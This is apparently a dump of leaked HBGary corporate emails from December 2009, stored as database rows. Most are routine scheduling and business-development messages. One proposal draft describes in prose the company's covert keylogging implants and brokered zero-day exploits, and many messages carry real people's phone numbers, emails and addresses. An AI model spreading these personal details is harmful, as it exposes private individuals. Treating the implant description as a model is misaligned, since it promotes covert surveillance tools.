Sipes, Victoria \r\nSent: Wednesday, December 09, 2009 11:19 AM\r\nTo: \'Aaron Barr\'\r\nCc: bob@hbgary.com; rich@hbgary.com\r\nSubject: RE: New Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Aaron,\r\n\r\n\r\nWill set this up with the others as well, and if something changes we can\r\nreschedule.\r\n\r\n&nbsp;\r\n\r\nCan you please send me directions to your place, and I will send\r\nout a calendar event.\r\n\r\n&nbsp;\r\n\r\nLooks like 1pm on Thursday.\r\n\r\n\r\nThanks\r\nVickie\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 11:11 AM\r\nTo: Sipes, Victoria\r\nCc: bob@hbgary.com; rich@hbgary.com\r\nSubject: Re: New Opportunities\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVictoria,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you for the contact.&nbsp; I am available on Thur-Fri\r\nnext week with currently only a meeting on Thurs at 3pm in Reston.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Dec 9, 2009 at 10:59 AM, Sipes, Victoria &lt;vsipes@harris.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwork with Mike Fox at Crucial Security Programs/Harris Corporation as his Sr.\r\nAdmin.\r\n\r\n&nbsp;\r\n\r\nMike\r\nwould like to discuss future opportunities with you all.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou could please let me know what your schedules look like next week, would\r\nreally appreciate.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11309,'aaron_hbgary_com/11309.html'),(650,'2009-12-14','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1296999988.M683401P3547Q650.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com,bob@hbgary.com','Meeting w/HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 6701 Democracy Blvd, Suite #300, Bethesda, MD 20817\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDirections Below:\r\n&nbsp;\r\nHB Gary\r\n6701 Democracy Blvd, Suite #300\r\nBethesda, MD 20817\r\n(301) 652-8885 x117\r\n&nbsp;\r\n&nbsp;\r\nStart at: 14900 Conference Center Dr Chantilly, VA 20151\r\n&nbsp;\r\n1. Head north on Parkstone Dr toward Conference Center Dr - 318&nbsp;ft 2. Take the 1st right onto Conference Center Dr - 0.4&nbsp;mi 3. Slight right toward Stonecroft Blvd - 207&nbsp;ft 4. Continue straight onto Stonecroft Blvd\r\n- 0.5&nbsp;mi 5. Slight left to stay on Stonecroft Blvd - 253&nbsp;ft 6. Turn left at Westfields Blvd - 443&nbsp;ft 7. Merge onto Sully Rd/VA-28 S via the ramp to I-66/Centreville - 2.1&nbsp;mi 8. Turn left to merge onto I-66 E - 11.7&nbsp;mi 9. Take the exit on the left toward I-66/Washington\r\n- 0.2&nbsp;mi 10. Slight left at I-495 N&nbsp; Entering Maryland - 10.1&nbsp;mi 11. Slight left at I-270 Spur N - 0.6&nbsp;mi 12. Take exit 1 for Democracy Blvd - 0.4&nbsp;mi 13. Turn right at Democracy Blvd - 0.1&nbsp;mi 14. Turn left - 171&nbsp;ft\r\n&nbsp;\r\nArrive at: 6701 Democracy Blvd Bethesda, MD 20817\r\n\r\n\r\n\r\nThanks\r\nVickie\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',4513,'aaron_hbgary_com/4513.html'),(651,'2009-12-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999989.M153103P3547Q651.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting w/HB Gary','\r\n\r\n\r\n\r\n\r\nRE: Meeting w/HB Gary\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDid you reserve a conference room or office at 6701 Democracy Blvd?\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Fox, Michael (mfox04) [mailto:mfox04@harris.com] On Behalf Of Fox, Michael (mfox04)\r\nSent: Monday, December 14, 2009 11:42 AM\r\nTo: \'Aaron Barr\'; rich@hbgary.com; bob@hbgary.com\r\nSubject: Meeting w/HB Gary\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 6701 Democracy Blvd, Suite #300, Bethesda, MD 20817\r\n\r\n\r\n\r\n\r\n\r\nDirections Below:\r\n\r\n&nbsp;\r\n\r\nHB Gary\r\n\r\n6701 Democracy Blvd, Suite #300\r\n\r\nBethesda, MD 20817\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStart at: 14900 Conference Center Dr Chantilly, VA 20151\r\n\r\n&nbsp;\r\n\r\n1. Head north on Parkstone Dr toward Conference Center Dr - 318&nbsp;ft 2. Take the 1st right onto Conference Center Dr - 0.4&nbsp;mi 3. Slight right toward Stonecroft Blvd - 207&nbsp;ft 4. Continue straight onto Stonecroft Blvd - 0.5&nbsp;mi 5. Slight left to stay on Stonecroft Blvd - 253&nbsp;ft 6. Turn left at Westfields Blvd - 443&nbsp;ft 7. Merge onto Sully Rd/VA-28 S via the ramp to I-66/Centreville - 2.1&nbsp;mi 8. Turn left to merge onto I-66 E - 11.7&nbsp;mi 9. Take the exit on the left toward I-66/Washington - 0.2&nbsp;mi 10. Slight left at I-495 N&nbsp; Entering Maryland - 10.1&nbsp;mi 11. Slight left at I-270 Spur N - 0.6&nbsp;mi 12. Take exit 1 for Democracy Blvd - 0.4&nbsp;mi 13. Turn right at Democracy Blvd - 0.1&nbsp;mi 14. Turn left - 171&nbsp;ft\r\n\r\n&nbsp;\r\n\r\nArrive at: 6701 Democracy Blvd Bethesda, MD 20817\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n',15544,'aaron_hbgary_com/15544.html'),(652,'2009-12-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999989.M398169P3547Q652.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting w/HB Gary','No I didn&#39;t yetFrom my iPhoneOn Dec 14, 2009, at 9:08 AM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDid you reserve a conference room or office at 6701 Democracy Blvd?\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Fox, Michael (mfox04) [mailto:mfox04@harris.com] On Behalf Of Fox, Michael (mfox04)\r\n\r\nSent: Monday, December 14, 2009 11:42 AM\r\n\r\nTo: &#39;Aaron Barr&#39;; rich@hbgary.com; bob@hbgary.com\r\n\r\nSubject: Meeting w/HB Gary\r\n\r\nWhen: Thursday, December 17, 2009 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 6701 Democracy Blvd, Suite #300, Bethesda, MD 20817\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirections Below:\r\n\r\n \r\n\r\nHB Gary\r\n\r\n6701 Democracy Blvd, Suite #300\r\n\r\nBethesda, MD 20817\r\n\r\n(301) 652-8885 x117\r\n\r\n \r\n\r\n \r\n\r\nStart at: 14900 Conference Center Dr Chantilly, VA 20151\r\n\r\n\r\n \r\n\r\n1. Head north on Parkstone Dr toward Conference Center Dr - 318 ft 2. Take the 1st right onto Conference Center Dr - 0.4 mi 3. Slight right toward Stonecroft Blvd - 207 ft 4. Continue straight onto Stonecroft Blvd - 0.5 mi 5. Slight left to stay on Stonecroft Blvd - 253 ft 6. Turn left at Westfields Blvd - 443 ft 7. Merge onto Sully Rd/VA-28 S via the ramp to I-66/Centreville - 2.1 mi 8. Turn left to merge onto I-66 E - 11.7 mi 9. Take the exit on the left toward I-66/Washington - 0.2 mi 10. Slight left at I-495 N  Entering Maryland - 10.1 mi 11. Slight left at I-270 Spur N - 0.6 mi 12. Take exit 1 for Democracy Blvd - 0.4 mi 13. Turn right at Democracy Blvd - 0.1 mi 14. Turn left - 171 ft\r\n\r\n\r\n \r\n\r\nArrive at: 6701 Democracy Blvd Bethesda, MD 20817\r\n\r\nThanks\r\n\r\nVickie\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n',8067,'aaron_hbgary_com/8067.html'),(653,'2009-12-14','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999989.M627036P3547Q653.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: UI and web developer','We really don\'t have a pool of services folks, BUT we do have folks in the\r\nservice space we can work with.  The problem with services for a software\r\ncompany is people on the bench.  Because Greg wants software development\r\ndone here, it limits this.  We do have relationships though we can leverage\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 14, 2009 6:41 AM\r\nTo: Penny Leavy\r\nSubject: Re: UI and web developer\r\n\r\nI think we wanted to do non classified work, but stay in the federal space.\r\nSounds like something to add to our discussion.\r\n\r\nI started to think about this a little more after talking with Rich and Bob,\r\nnot anything in particular, but I started to think it would be helpful,\r\nwhichever way it works, to have a pool of services folks to do on site work,\r\nI wasn\'t sure if you already had a model for that.  We couldn\'t even think\r\nabout doing short-term product sales services work until we had a measurable\r\nenough staff to pull from so if we were to support other government services\r\nwork.\r\n\r\nOff to pick up Greg.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 13, 2009, at 2:42 PM, Penny Leavy wrote:\r\n\r\n> OK, not really clear.  Support and Maintenance is done through HBGary\r\n> and it\'s 20% right now although I\'m looking at marking it up to 25%.\r\n> I thought you guys didn\'t want to do consulting on non classified\r\n> projects.  Given we don\'t have sales people with clearances we won\'t\r\n> be discussing anything along those lines and directly pass the lead to\r\n> you guys.\r\n> \r\n> On Sat, Dec 12, 2009 at 12:50 PM, Aaron Barr  wrote:\r\n>> Also Ted and I were discussing that we need to talk to all the sales\r\nfolks after coming up with a pricing plan.  Three options we came up with\r\nimmediately.\r\n>> Maintenance on Product: similiar to Sun Support.\r\n>> Bundle with Product. So $xxx comes with Xhrs of install, training, and\r\nanalysis.\r\n>> T&M - level of analyst for $xxx for xx hrs.\r\n>> \r\n>> Thoughts?  A topic for us to discuss when we are out.  So once we get\r\nthis down, talk to all the sales folks about the offerings, capability of\r\nHBGary federal, etc.  And write those services into the website and\r\nliterature.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Dec 12, 2009, at 3:36 PM, Penny Leavy wrote:\r\n>> \r\n>>> Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\n>>> went out of business.  We\'ll have to drive, which means you need to\r\n>>> leave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n>>> we had a couple of good meetings in boston.  Looks like we have to go\r\n>>> out again, so we\'ll try to hook up with Blackbird\r\n>>> \r\n>>> On Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n>>>> yep that makes sense.  I think Ted is getting rental car.  We are\r\nstaying at\r\n>>>> the courtyard near the office.  I will share out a BD document to you\r\nthat\r\n>>>> is where Ted and I are capturing all of our contacts, leads, etc. and\r\nwe can\r\n>>>> go over it on Monday/Tuesday.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>>>> \r\n>>>>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>>>>> time help and I know Greg prefers to have people working on theproduct\r\n>>>>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>>>>> contracts.  BTW>>>> the story with hotel and car?  Do you need to be picked up?\r\n>>>>> \r\n>>>>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>>>> \r\n>>>>>> Hey there,\r\n>>>>>> \r\n>>>>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>>>>> mentioned to you that also does web information design and\r\ndevelopment.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>>  From my iPhone\r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> --\r\n>>>>> Penny C. Leavy\r\n>>>>> HBGary, Inc.\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',7896,'aaron_hbgary_com/7896.html'),(654,'2009-12-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999989.M862230P3547Q654.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Hello again.','Begin forwarded message:From: &quot;Moore, Lance (US SSA)&quot; &lt;Lance.Moore@BAEsystems.com&gt;\r\nDate: December 14, 2009 11:15:51 AM PSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Hello again.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Ted,\r\n\r\n \r\n\r\nI am absolutely delighted to hear from you.  I couldn’t\r\nbe more proud of you and the many great accomplishments you have achieved.  I\r\nwish you and your family a very Merry Christmas and Happy New Year.  I am\r\nlooking forward to getting together with you in the near future and talk about\r\nthe good times with Battle Thunder.\r\n\r\n \r\n\r\nBest Regards,\r\n\r\nLance \r\n\r\n \r\n\r\n\r\n\r\nLance A. Moore\r\n\r\nDirector, Army, National Guard, Reserves &amp;\r\nHomeland Security\r\n\r\nGlobal Tactical Systems\r\n\r\nSecurity &amp; Survivability\r\n\r\n \r\n\r\nBAE Systems\r\n\r\n1525\r\n  Wilson Blvd.\r\n\r\nSuite 700\r\n\r\n\r\nArlington, VA  22209\r\n\r\n\r\nPhone/Fax:  (703) 312-6989/7581\r\n\r\nMobile: \r\n(571) 435-5553\r\n\r\nlance.moore@baesystems.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, December 11, 2009\r\n11:21 AM\r\nTo: Moore, Lance (US SSA)\r\nSubject: Hello again.\r\n\r\n\r\n\r\n \r\n\r\nHi COL Moore,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt&#39;s been a while since I last wrote, so I thought it would be a good\r\ntime for an update.  LTC Bob Agans came out to Colorado Springs last month and stopped by\r\nour house to visit.  He hasn&#39;t changed a bit, still a great guy.  I&#39;m\r\nnot sure if you remember CPT Roy Sevalia.  Well, he just made the O-6\r\nlist.  He&#39;s stationed in Germany\r\nagain, but getting ready for a rotation to Iraq.  CSM Tom Foster still\r\nlives three houses down from me, and is doing well.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAfter ten years with Northrop Grumman, and having grown a 50 person\r\nteam with some very unique capabilities I decided it was time to try my hand as\r\nan executive in a smaller defense-oriented company.  I recently joined\r\nHBGary, to help them stand up their Federal business.  The press release\r\nis starting to make its way around the internet:  http://www.forensicfocus.com/index.php?name=News&amp;file=article&amp;sid=1314\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;m not sure what you do for BAE, but if you have interest in\r\ncybersecurity or offensive IO capabilities, please think of me.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope you have a great weekend!\r\n\r\n\r\n\r\n\r\n\r\nTed \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\n\r\n\r\n\r\n\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\nOffice:  916-459-4727 ext 118\r\n\r\n\r\n\r\n\r\n\r\nMobile:\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2573,'aaron_hbgary_com/2573.html'),(655,'2009-12-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999990.M105432P3547Q655.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: SPAWAR SwDev Data','\r\n\r\n\r\n\r\n\r\nSPAWAR SwDev Data \r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nCan you guys help me?&nbsp; We&#8217;ve been working with GD-AIS as\r\nthey have been writing a proposal for SPAWAR on an IDIQ RFP.&nbsp; They view HBGary\r\nas a tier-1 subcontractor and they expect to be chosen as one of 5 vendors to\r\nget the award.&nbsp; We anticipate that lots of the HBGary work will go to\r\nHBGary Federal, especially the classified work.\r\n\r\n&nbsp;\r\n\r\nThey need us to provide short paragraphs on a set of&nbsp; topics listed\r\nhere.&nbsp; I filled in a couple of them, but don&#8217;t know what to write in\r\nthe other areas or even if we have a good solution for the other areas. I could\r\nuse your help to fill in more.&nbsp; Please read Vince&#8217;s instructions\r\nbelow.\r\n\r\n&nbsp;\r\n\r\nCND &#8211;\r\nHBGary Digital DNA is a commercial software product that detects unknown and\r\nzero day malware on Windows computers.&nbsp; It is offered as either a\r\nstandalone workstation product or as an enterprise system.&nbsp; One\r\nimplementation is via McAfee ePO (HBSS in the DoD).&nbsp; Another\r\nimplementation is an all-HBGary Digital DNA Enterprise system which does not\r\nrequire software from another vendor.\r\n\r\n&nbsp;\r\n\r\nCNA &#8211;\r\nHBGary develops and/or brokers CNA tools.&nbsp; &nbsp;&nbsp;We have developed\r\nseveral Windows host implant agents with advanced rootkit technologies.&nbsp;\r\nThe agents evade detection by commercial and open source host detection tools.&nbsp;\r\nThey typically have the ability to log keystrokes and exfiltrate data with\r\ncovert communications.&nbsp; HBGary has relationships with independent software\r\nvulnerability researchers who provide working zero day exploits.&nbsp; HBGary\r\nadds value to these tools by testing them and adding features.&nbsp; While\r\nmaintaining strict confidence HBGary buys the exploit tools from developers and\r\nresell to various end customers.&nbsp; The primary advantage of purchasing\r\nexisting tools is that the customer receives a known capability for a set\r\nprice.&nbsp; The alternative is to pay for basic research which yields mixed\r\nresults.\r\n\r\n&nbsp;\r\n\r\nCNE\r\n\r\n&nbsp;\r\n\r\nForensics &#8211;\r\nHBGary Responder Professional is both a Windows memory forensics system and a\r\nWindows binary and malware forensics system.&nbsp; Traditional memory and\r\nmalware forensics require highly skilled engineers that are expensive, slow and\r\ndon&#8217;t scale.&nbsp; By contrast, HBGary Responder Professional is\r\nautomated, scales and can be used by lower skilled engineers.\r\n\r\n&nbsp;\r\n\r\nIA, \r\n\r\n&nbsp;\r\n\r\nCyber\r\nMod/Sim\r\n\r\n&nbsp;\r\n\r\nSituational\r\nAwareness\r\n\r\n&nbsp;\r\n\r\nEW\r\n\r\n&nbsp;\r\n\r\nC2\r\n\r\n&nbsp;\r\n\r\nMission\r\nPlanning,\r\n\r\n&nbsp;\r\n\r\nPsyops\r\n\r\n&nbsp;\r\n\r\nCountermeasures\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Monday, December 14, 2009 4:10 PM\r\nTo: Bob Slapnik\r\nSubject: SPAWAR SwDev Data \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTeam,&nbsp; You are receiving this email as Tier 1\r\nteammate that has identified software development\r\nexperience.&nbsp; To bolster our experience, please read the highlighted\r\nsection below and\r\nrespond with the requested data.&nbsp;\r\nThis information will\r\nhelp to further identify your\r\ncompanies capabilities.\r\n\r\nIn order to fully satisfy\r\nthe requirements of Volume III Section C &#8211; Software Development\r\nExperience, we need each Tier 1 sub with Cyber related Software Development\r\nexperience to provide the following:\r\n\r\nOne short paragraph\r\ndescribing one (or more) of their Cyber related Programs or Projects (CND, CNA,\r\nCNE, Forensics, IA, Cyber Mod/Sim, Situational Awareness, EW, C2, Mission\r\nPlanning, Psyops, Countermeasures, etc).&nbsp; These should be programs/projects\r\nwhere they developed a product.&nbsp; Focus on the benefits this\r\nproject/program experience will have for SSC PAC.&nbsp; In addition, provide\r\nspecific names and roles of individual(s) that contributed to this\r\nproject/program that are also planned to support the Cyber Warfare Support\r\nprogram tasks for this proposal.&nbsp; Also include the customer if it is not\r\nclassified.\r\n\r\nWe will need this for Red\r\nTeam; so deadline is COB Monday,\r\n14 Dec.\r\n\r\nThanks in advance,\r\n\r\nVince\r\n\r\nVincent A. Holtmann\r\nGeneral\r\nDynamics Advanced Information Systems\r\n3133\r\nGeneral Hudnell, Ste. 300\r\nSan\r\nAntonio, TX 78226\r\nOffice\r\n(210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',6804,'aaron_hbgary_com/6804.html'),(656,'2009-12-14','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1296999990.M337106P3547Q656.eml','all@hbgary.com','MS COFFEE forensics tool targeted by hackers','\r\nhttp://www.wired.com/threatlevel/2009/12/decaf-cofee/\r\n\r\nInteresting.\r\n\r\n- Martin\r\n',10887,'aaron_hbgary_com/10887.html'),(657,'2009-12-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999990.M544892P3547Q657.eml','\"Barr Aaron\" <aaron@hbgary.com>','Iranian Crackdown Goes Global - WSJ.com','http://online.wsj.com/article/SB125978649644673331.html?mod=googlenews_wsj\r\n',8949,'aaron_hbgary_com/8949.html'),(658,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999990.M772053P3547Q658.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir follow up','hey matt,How about Friday Morning. &nbsp;I will come to your place.AaronOn Dec 10, 2009, at 4:23 PM, Matthew Steckman wrote:Aaron,&nbsp;That sounds like a pretty nice situation for both of us.&nbsp; We should definitely discuss.&nbsp; Next Thurs is bad for me, but Friday works great.&nbsp; Let me know what time youd like to meet and whether you want to come to RDell or support at your place.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:44 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Palantir follow up&nbsp;Hey Matt,&nbsp;How about next Thurs in the morning sometime, or on Friday?&nbsp;I am working on a presentation for ARSTRAT to build a small threat center that uses HBGary and Palantir products. &nbsp;The basis is:&nbsp;HBGary Feed Processor (we process 5000 pieces of malware a day and classify their threat level).Responder Malware analysis toolsPalantir Threat and Link Analysis tool&nbsp;2 Linguists/Intel Analysts (1 Chinese/1 Russian)2 Threat Analysts2 Malware Analysts&nbsp;The investigate/correlate APT and develop threat maps and reports based on intel, open, and cyber sources. &nbsp;ARTRAT would provide this to the rest of the community.&nbsp;A few questions. &nbsp;Why ARTRAT? &nbsp;They are looking to be more relevant cyber wise to the Army. &nbsp;They have money, and they really like the idea.&nbsp;So what do you think?&nbsp;We can get together and talk about this and other pursuits. &nbsp;I agree there is a natural convergence of our technologies. &nbsp;Greg is pretty excited as well.&nbsp;Aaron&nbsp;On Dec 8, 2009, at 3:45 PM, Matthew Steckman wrote:Penny, Aaron,&nbsp;Great meeting with you yesterday.&nbsp; As discussed, if you send me the names and email addresses of the people you want to give access to our DevZone to, we can get them accounts.&nbsp; Once they get access they can download a locally loaded version of Palantir called a QuickStart.&nbsp; They will be able to import their data through a few simple steps outlined on the DevZone website. &nbsp;Hopefully they can put together a compelling demo path, if needed, I can be available for suggestions on the workflow.&nbsp;Penny – do you think you could get Geoff access to a trail version of your Digital DNA product (and anything else he might need)? &nbsp;He can evaluate it in the context of a potential partnership.&nbsp;&nbsp;Aaron – whenever you want to discuss federal business opportunities Im game.&nbsp; I think that teaming on proposals is a no brainer for work in the cyber domain as our two product lines are incredibly complementary.&nbsp;&nbsp;Best regards,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14986,'aaron_hbgary_com/14986.html'),(659,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999990.M984294P3547Q659.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','Hi Alex,\r\n\r\nFriday 1-2 sounds good if your still available.  I will come to you.  Let me know if you just want to talk for a bit.  I can at a high level discuss HBGary tools and capabilities.  If you want a demo of the new products, Responder, Digital DNA, and Recon I would have to bring an engineer.  If you just want to talk a bit first we can always set up a demo if your interested after the new year.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n\r\n> I can do next Friday from 1-2pm, but I would have to ask you to meet me\r\n> in Herndon office where bill Varner sits. I will have a meeting there\r\n> that ends at 1pm. Let me know if this will work\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, December 10, 2009 1:38 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> How is your next Friday?  I am open.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n> \r\n>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>> look at another date. Next week is pretty busy also it\'s the week we\r\n>> spend on strategy and operations reviews. Let me look at what might be\r\n>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>> between 1100-1300 time frame for next week. thanks\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n>> late next week to go over things and we can catch Greg his next trip\r\n>> out.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>> >> wrote:\r\n>> \r\n>>> Aaron im trying to move some appts around so we can meet so let me\r\n> see\r\n>>> what I can do for this week?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Discussion\r\n>>> \r\n>>> Hi Alex,\r\n>>> \r\n>>> I was wondering if you would be interested in getting together next\r\n>>> week\r\n>>> to talk about my new role, what we might be able to do together and\r\n>>> get\r\n>>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>>> will be in town and of course does the best job conveying the\r\n>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>> their\r\n>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>> does\r\n>>> behavior/characteristic identification of malware based on HBGarys\r\n>>> Malware genome database.  So far its 75% successful at detecting all\r\n>>> malware we throw at it, as the genome database gets larger that\r\n> should\r\n>>> get better, but already pretty good.\r\n>>> \r\n>>> Another idea I am starting to form is a combined capability that I\r\n>>> think\r\n>>> can push the rock a little on Attribution.  I am not sure if you are\r\n>>> familiar with Palantir.  Their main focus in link analysis, and their\r\n>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>> externals analysis with HBGarys capability for malware binary\r\n> analysis\r\n>>> and fingerprinting and start doing some long term analysis and\r\n>>> correlation of attacks.  I think this approach could push the\r\n>>> Attribution rock forward a little.\r\n>>> \r\n>>> I know you guys are in the \"forensics\" space but would really like to\r\n>>> talk about what that really means, also share where we are going and\r\n>>> see\r\n>>> where we might be able to help each other.\r\n>>> \r\n>>> If you noticed the time of the email.  3rd night in a row I have\r\n> woken\r\n>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>> 